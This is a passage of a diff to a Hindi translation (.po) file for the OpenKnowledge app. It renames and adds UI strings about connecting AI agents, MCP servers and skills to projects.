configuration file"msgstr "एजेंट कॉन्फ़िगरेशन फ़ाइल"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "एजेंट कनेक्शन"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "एजेंट मोड"@@ -1657,23 +1733,14 @@ msgid "Agent transcript"msgstr "एजेंट प्रतिलेख"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "एजेंट"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "AI टूल प्रबंधन केवल OpenKnowledge डेस्कटॉप ऐप में उपलब्ध है।"--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "AI टूल"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "AI टूल और CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "बीच में संरेखित करें"@@ -2393,14 +2460,6 @@ msgstr "कॉलआउट मुख्य जानकारी की ओरmsgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "प्रोजेक्ट नेस्ट नहीं कर सकते। <0>{rootPath}</0> पर पहले से एक OpenKnowledge प्रोजेक्ट मौजूद है। उसके बाहर कोई स्थान चुनें, या उसी प्रोजेक्ट को खोलें।"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "इस प्रोजेक्ट कॉन्फ़िग को सुरक्षित रूप से संपादित नहीं किया जा सकता"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "इस टूल के कॉन्फ़िग को सुरक्षित रूप से संपादित नहीं किया जा सकता"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "यह पथ साझा नहीं किया जा सकता।"@@ -2429,6 +2488,7 @@ msgstr "यह पथ साझा नहीं किया जा सकता#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2655,6 +2715,15 @@ msgstr "आइकन चुनें"msgid "Choose what a new tab starts"msgstr "चुनें कि नया टैब क्या शुरू करे"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "चुनें कि OpenKnowledge {0} के लिए क्या सेट अप करे।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "चुनें कि OpenKnowledge क्या सेट अप करे।"+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "चुनें कि ये टिप्पणियाँ कहाँ भेजनी हैं"@@ -2667,9 +2736,9 @@ msgstr "चुनें कि यह संदेश कहाँ भेजनmsgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "चुनें कि इस प्रोजेक्ट का OpenKnowledge सेटअप, उसके AI-टूल कनेक्शन सहित, प्रोजेक्ट के साथ सहेजा जाए ताकि सहकर्मियों को भी मिले, या केवल आपके कंप्यूटर पर रखा जाए।"-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "चुनें कि ऐप के एजेंट मेनू में कौन से एजेंट दिखें, जैसे Ask AI, Open with AI और + नई चैट बटन। किसी एजेंट को बंद करने पर वह इन सभी से छिप जाएगा।"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "चुनें कि ऐप के एजेंट मेनू में कौन से एजेंट दिखें, और उन्हें इस तरह सेट अप करें कि वे आपके दस्तावेज़ पढ़ और अपडेट कर सकें।"#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3143,7 +3212,6 @@ msgstr "कॉन्फ़िगरेशन चेतावनियाँ"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3208,10 +3276,6 @@ msgstr "जारी रखने के लिए GitHub जोड़ें।"msgid "Connect OpenKnowledge to other tools you use."msgstr "OpenKnowledge को अपने उपयोग के अन्य टूल से जोड़ें।"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "आप जिन AI टूल का उपयोग करते हैं उन्हें इस विशेष प्रोजेक्ट से जोड़ें। ये फ़ाइलें प्रोजेक्ट फ़ोल्डर में रहती हैं, इसलिए जो भी इसे खोलता है उसे वही सेटअप मिलता है।"-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3240,6 +3304,10 @@ msgstr "अपने AI टूल जोड़ें"msgid "Connect your AI tools to this project"msgstr "अपने AI टूल को इस प्रोजेक्ट से जोड़ें"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "जुड़ा हुआ"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3288,10 +3356,18 @@ msgstr "कनेक्शन त्रुटि — फिर कोशिशmsgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "कनेक्शन खो गया — यह टैब खुला रखें, फिर से जुड़ने पर आपके संपादन सिंक हो जाएँगे"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "अगली बार जब आप इस प्रोजेक्ट को किसी विश्वसनीय Codex सत्र में खोलेंगे तो यह अपने आप जुड़ जाएगा।"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "अगली बार जब आप इस प्रोजेक्ट को किसी विश्वसनीय {agent} सत्र में खोलेंगे तो यह अपने आप जुड़ जाएगा।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "एजेंट को इस मशीन की हर परियोजना में OpenKnowledge से जोड़ता है।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "एजेंट को इस परियोजना से जोड़ता है, ताकि वह आपके दस्तावेज़ पढ़, खोज और संपादित कर सके।"#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3659,9 +3735,8 @@ msgid "Couldn't add that comment."msgstr "वह टिप्पणी नहीं जोड़ी जा सकी।"#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "बदलाव लागू नहीं किया जा सका: {0}"@@ -3669,6 +3744,10 @@ msgstr "बदलाव लागू नहीं किया जा सका:msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "{filePath} में अब भी कॉन्फ़्लिक्ट है या नहीं, जाँचा नहीं जा सका — पुनः प्रयास जारी।"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "जाँच नहीं हो सकी कि कौन-से टूल जुड़े हैं।"+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "कुंजी साफ़ नहीं की जा सकी — कृपया फिर कोशिश करें।"@@ -3944,7 +4023,7 @@ msgstr "सहयोग सर्वर तक नहीं पहुँचाmsgid "Couldn't reach GitHub. Try again?"msgstr "GitHub तक नहीं पहुँचा जा सका। फिर कोशिश करें?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "एजेंट रजिस्ट्री तक नहीं पहुँचा जा सका।"@@ -4397,11 +4476,6 @@ msgstr "कस्टम एंडपॉइंट"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "लाइव पूर्वावलोकन पैनल वाला कस्टम HTML (सैंडबॉक्स किया गया iframe)।"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "कस्टम open-knowledge प्रविष्टि — OpenKnowledge द्वारा प्रबंधित नहीं"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "कस्टम स्किल फ़ोल्डर पाथ"@@ -4772,6 +4846,10 @@ msgstr "कनेक्शन तोड़ें"msgid "Disconnecting"msgstr "कनेक्शन तोड़ा जा रहा है"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "डिस्कवरी स्किल सभी AI टूल के लिए एक साथ प्रबंधित किए जाते हैं। इसे सेटिंग → स्किल स्टूडियो से इंस्टॉल करें।"+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5256,17 +5334,17 @@ msgstr "खाली शुरुआती सामग्री"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "{0} सक्षम करें"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "{displayName} CLI सक्षम करें"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "{displayName} Desktop सक्षम करें"@@ -5412,11 +5490,6 @@ msgstr "एक मान्य URL दर्ज करें, उदाहरणmsgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "वह सार्वजनिक ऑरिजिन दर्ज करें जिसे आपका tunnel सर्व करता है, उदाहरण के लिए https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "प्रविष्टि"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "त्रुटि"@@ -5559,7 +5632,7 @@ msgstr "एक्सपोज़ करने पर एक निश्चि#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "बाहरी ऐप्स"@@ -5943,8 +6016,6 @@ msgstr "फ़ील्ड"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6352,9 +6423,9 @@ msgstr "GitHub, एक git URL, या एक स्थानीय पथ।"msgid "Give it a name before editing its colors."msgstr "इसके रंग संपादित करने से पहले इसे नाम दें।"-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "आप जिन AI टूल का उपयोग करते हैं उन्हें अपने प्रोजेक्ट पढ़ने और अपडेट करने की पहुँच दें। बॉक्स चुनते ही यह तुरंत सेट हो जाता है; हटाने पर हट जाता है।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "एजेंट को आपके दस्तावेज़ों के साथ काम करने के निर्देश देता है और उसके संपादनों का श्रेय बनाए रखता है।"#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6366,6 +6437,10 @@ msgstr "वे ग्लोब पैटर्न जिन पर यह स्msgid "Global"msgstr "वैश्विक"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "वैश्विक MCP सर्वर"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "पाठ फ़ील्ड के बाहर वैश्विक"@@ -6505,6 +6580,7 @@ msgstr "सहायता"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "अपने एजेंट को किसी भी प्रोजेक्ट में OpenKnowledge खोजने और उपयोग करने में मदद करें।"@@ -6714,15 +6790,13 @@ msgstr "यह कंप्यूटर आपके रिमोट से कmsgid "How to push manually"msgstr "हाथ से कैसे भेजें"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "सेट अप कैसे करें"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "{0} कैसे सेट अप करें (ब्राउज़र में खुलता है)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "{rowLabel} सेट अप कैसे करें"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6781,6 +6855,21 @@ msgstr "ID: {0}"msgid "Identical in both — {pick} still reads them."msgstr "दोनों में एक जैसी हैं — {pick} इन्हें फिर भी पढ़ता रहेगा।"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "अगर {agent} में OpenKnowledge टूल नहीं दिखते, तो जाँचें कि उसकी सेटिंग में MCP कॉन्फ़िग का पथ उस फ़ाइल से मेल खाता है जो OpenKnowledge ने लिखी है।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "अगर {agent} में OpenKnowledge टूल नहीं दिखते, तो इसे इस प्रोजेक्ट में चलाएँ और OpenKnowledge सर्वर को एक बार स्वीकृत करें।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "अगर {agent} में OpenKnowledge टूल नहीं दिखते, तो Settings → Tools & MCP में सर्वर चालू करें; जब तक आप ऐसा नहीं करते, {agent} प्रोजेक्ट सर्वर बंद रखता है।"+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "यदि आपके संपादित किए जा रहे किसी हिस्से के लिए कोई अपडेट आता है, तो आप चुनते हैं कि कौन सा संस्करण रखना है, ठीक मर्ज टकराव की तरह।"@@ -6884,7 +6973,7 @@ msgstr "एक सूचकांक दस्तावेज़ में: प#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "ऐप में"@@ -7071,6 +7160,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "CodeMirror के डिफ़ॉल्ट कीमैप से स्रोत संपादक की पंक्तियाँ डालें, हटाएँ, हिलाएँ, कॉपी करें और अंदर करें।"#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7092,6 +7182,10 @@ msgstr "{0} इंस्टॉल करें"msgid "Install {brand} →"msgstr "{brand} इंस्टॉल करें →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "{rowLabel} इंस्टॉल करें"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "पहले यहाँ एक स्किल इंस्टॉल करें"@@ -7168,22 +7262,12 @@ msgstr "gh CLI इंस्टॉल करें"msgid "Install this skill"msgstr "यह स्किल इंस्टॉल करें"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "इंस्टॉल है"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "इंस्टॉल है — ok बाहरी टर्मिनलों में उपलब्ध है। चुनाव हटाने पर यह हट जाता है; OpenKnowledge का अंतर्निहित टर्मिनल और AI टूल काम करते रहते हैं।"--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "इंस्टॉल है — ok बाहरी टर्मिनल में उपलब्ध है। इसे अनचेक करने पर हटा दिया जाएगा; आपके AI टूल काम करते रहेंगे।"-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7241,6 +7325,14 @@ msgstr "आपके सभी प्रोजेक्ट के लिए इmsgid "Installs into this project"msgstr "इस प्रोजेक्ट में इंस्टॉल होगा"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "इस एजेंट के लिए OpenKnowledge खोज स्किल इंस्टॉल करता है।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "इस एजेंट के लिए OpenKnowledge परियोजना स्किल इंस्टॉल करता है।"+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "स्किल को {path} में इंस्टॉल करता है — पहला स्थान इसकी अपनी प्रति रखता है"@@ -7639,7 +7731,7 @@ msgstr "{fileName} लोड हो रही है"msgid "Loading agent activity"msgstr "एजेंट गतिविधि लोड हो रही है"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "एजेंट लोड हो रहे हैं…"@@ -7862,11 +7954,16 @@ msgstr "listPacks प्रतिक्रिया का प्रारूपmsgid "Malformed plan response"msgstr "प्लान प्रतिक्रिया का प्रारूप गलत है"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "प्रबंधित करें"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "{rowLabel} प्रबंधित करें"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7880,13 +7977,10 @@ msgstr "स्किल फ़ोल्डर सँभालें"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "आपकी रिपॉज़िटरी ब्राउज़ और सिंक करने के लिए OpenKnowledge जिस GitHub खाते का उपयोग करता है उसे सँभालें।"-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "इस बिल्ड में AI टूल सँभालना उपलब्ध नहीं है।"--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "इस बिल्ड में प्रोजेक्ट के AI टूल सँभालना उपलब्ध नहीं है।"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "इस बिल्ड में एजेंट कनेक्शन प्रबंधित करना उपलब्ध नहीं है।"#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7942,12 +8036,9 @@ msgstr "अधिकतम एजेंट पहले से चल रहेmsgid "MCP auto-repair failed"msgstr "MCP स्वतः-मरम्मत विफल रही"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "MCP कनेक्शन"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "{failures} के लिए MCP स्वतः-मरम्मत विफल रही"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8064,6 +8155,10 @@ msgstr "लिंक लक्ष्य, एंकर और प्रदर्msgid "More"msgstr "और"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "अधिक जानकारी"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "और अनुरोध रोके गए।"@@ -8533,7 +8628,7 @@ msgstr "अभी कोई एजेंट सेट अप नहीं हैmsgid "no agents — saved, not installed anywhere"msgstr "कोई एजेंट नहीं — सहेजी गईं, कहीं इंस्टॉल नहीं"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "कोई एजेंट उपलब्ध नहीं।"@@ -8542,7 +8637,7 @@ msgstr "कोई एजेंट उपलब्ध नहीं।"msgid "No agents enabled"msgstr "कोई एजेंट सक्षम नहीं"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "आपकी खोज से कोई एजेंट मेल नहीं खाता।"@@ -8906,11 +9001,12 @@ msgstr "उत्तर नहीं दिया गया"msgid "Not attached to desktop bridge"msgstr "डेस्कटॉप ब्रिज से नहीं जुड़ा है"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "इस प्लेटफ़ॉर्म पर उपलब्ध नहीं"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "जुड़ा नहीं"@@ -8918,6 +9014,10 @@ msgstr "जुड़ा नहीं"msgid "Not connected to GitHub."msgstr "GitHub से जुड़ा नहीं।"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "इस मशीन पर नहीं मिला"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "बहुत अच्छा नहीं"@@ -8928,7 +9028,7 @@ msgstr "साइडबार में नहीं"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "इंस्टॉल नहीं है"@@ -9061,15 +9161,15 @@ msgstr "<0>{address}</0> में चयनित पाठ पर"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "रूट इंडेक्स पर, okf_version को \"0.2\" जैसी उद्धृत स्ट्रिंग के रूप में लिखा जाता है। अउद्धृत, YAML इसे एक संख्या के रूप में पढ़ता है और 0.10 चुपचाप 0.1 बन जाता है।"-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "एक और क़दम: इसे Cursor → Settings → Tools & MCP में सक्षम करें (Cursor प्रोजेक्ट सर्वर तब तक बंद रखता है जब तक आप उन्हें चालू न करें)।"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "एक और क़दम: इसे {agent} → Settings → Tools & MCP में सक्षम करें ({agent} प्रोजेक्ट सर्वर तब तक बंद रखता है जब तक आप उन्हें चालू न करें)।"-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "एक और क़दम: इस प्रोजेक्ट में <0>claude</0> चलाएँ और OpenKnowledge को एक बार स्वीकृत करें।"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "एक और क़दम: इस प्रोजेक्ट में {agent} चलाएँ और OpenKnowledge को एक बार स्वीकृत करें।"#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9160,10 +9260,6 @@ msgstr "पहले कोई प्रोजेक्ट खोलें।"msgid "Open a project to edit."msgstr "संपादित करने के लिए कोई प्रोजेक्ट खोलें।"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "किसी प्रोजेक्ट के AI टूल कनेक्शन सँभालने के लिए उसे खोलें।"-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "एक अकेली markdown फ़ाइल खोलें — कोई प्रोजेक्ट सेटअप नहीं।"@@ -9502,6 +9598,10 @@ msgstr "OpenKnowledge ने विरोधों की जाँच की"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge ने प्रोजेक्ट की जाँच की"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge को इस मशीन पर यह एजेंट नहीं मिला।"+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge .ok/local/config.yml में terminal.shell नहीं पढ़ सका। इसके बजाय उपलब्ध Windows शेल का उपयोग किया जा रहा है।"@@ -9530,6 +9630,18 @@ msgstr "OpenKnowledge ने {subject} को हटाया"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge ने एक दस्तावेज़ हटाया"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "OpenKnowledge खोज स्किल"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge इस प्रविष्टि को नहीं पहचानता, और इस फ़ाइल के फ़ॉर्मैट में इसे सुरक्षित रूप से नहीं बदल सकता।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge इस प्रविष्टि को नहीं पहचानता। इसे चालू करने पर यह बदल दी जाएगी।"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge ने {subject} को संपादित किया"@@ -9574,6 +9686,10 @@ msgstr "OpenKnowledge gh CLI द्वारा दिया गया GitHubmsgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge यही GitHub खाता उपयोग कर रहा है।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge ने इस फ़ाइल को नहीं बदला क्योंकि वह इसे सुरक्षित रूप से पार्स नहीं कर सका। फ़ाइल को हाथ से ठीक करें, फिर दोबारा कोशिश करें।"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge ने इंस्टॉल की गई स्किल सूचीबद्ध कीं"@@ -10285,10 +10401,6 @@ msgstr "प्रोजेक्ट"msgid "Project"msgstr "प्रोजेक्ट"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "प्रोजेक्ट के AI टूल सँभालना केवल OpenKnowledge डेस्कटॉप ऐप में उपलब्ध है।"-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "प्रोजेक्ट विवरण"@@ -10297,6 +10409,10 @@ msgstr "प्रोजेक्ट विवरण"msgid "Project folder created, but git init failed. Try again."msgstr "प्रोजेक्ट फ़ोल्डर बन गया, पर git init विफल रहा। फिर कोशिश करें।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "परियोजना MCP सर्वर"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "प्रोजेक्ट का नाम"@@ -10310,6 +10426,10 @@ msgstr "प्रोजेक्ट प्लगइन आपके प्रोmsgid "Project root"msgstr "प्रोजेक्ट रूट"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "परियोजना स्किल"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "प्रोजेक्ट टेम्पलेट"@@ -10464,6 +10584,21 @@ msgstr "{pushed} भेजा"msgid "Pushing"msgstr "भेजा जा रहा है"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "{agent} के मशीन-व्यापी स्किल फ़ोल्डर में OpenKnowledge खोज स्किल रखता है, ताकि वह किसी भी प्रोजेक्ट में OpenKnowledge ढूँढ सके।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "इस प्रोजेक्ट के लिए {agent} के स्किल 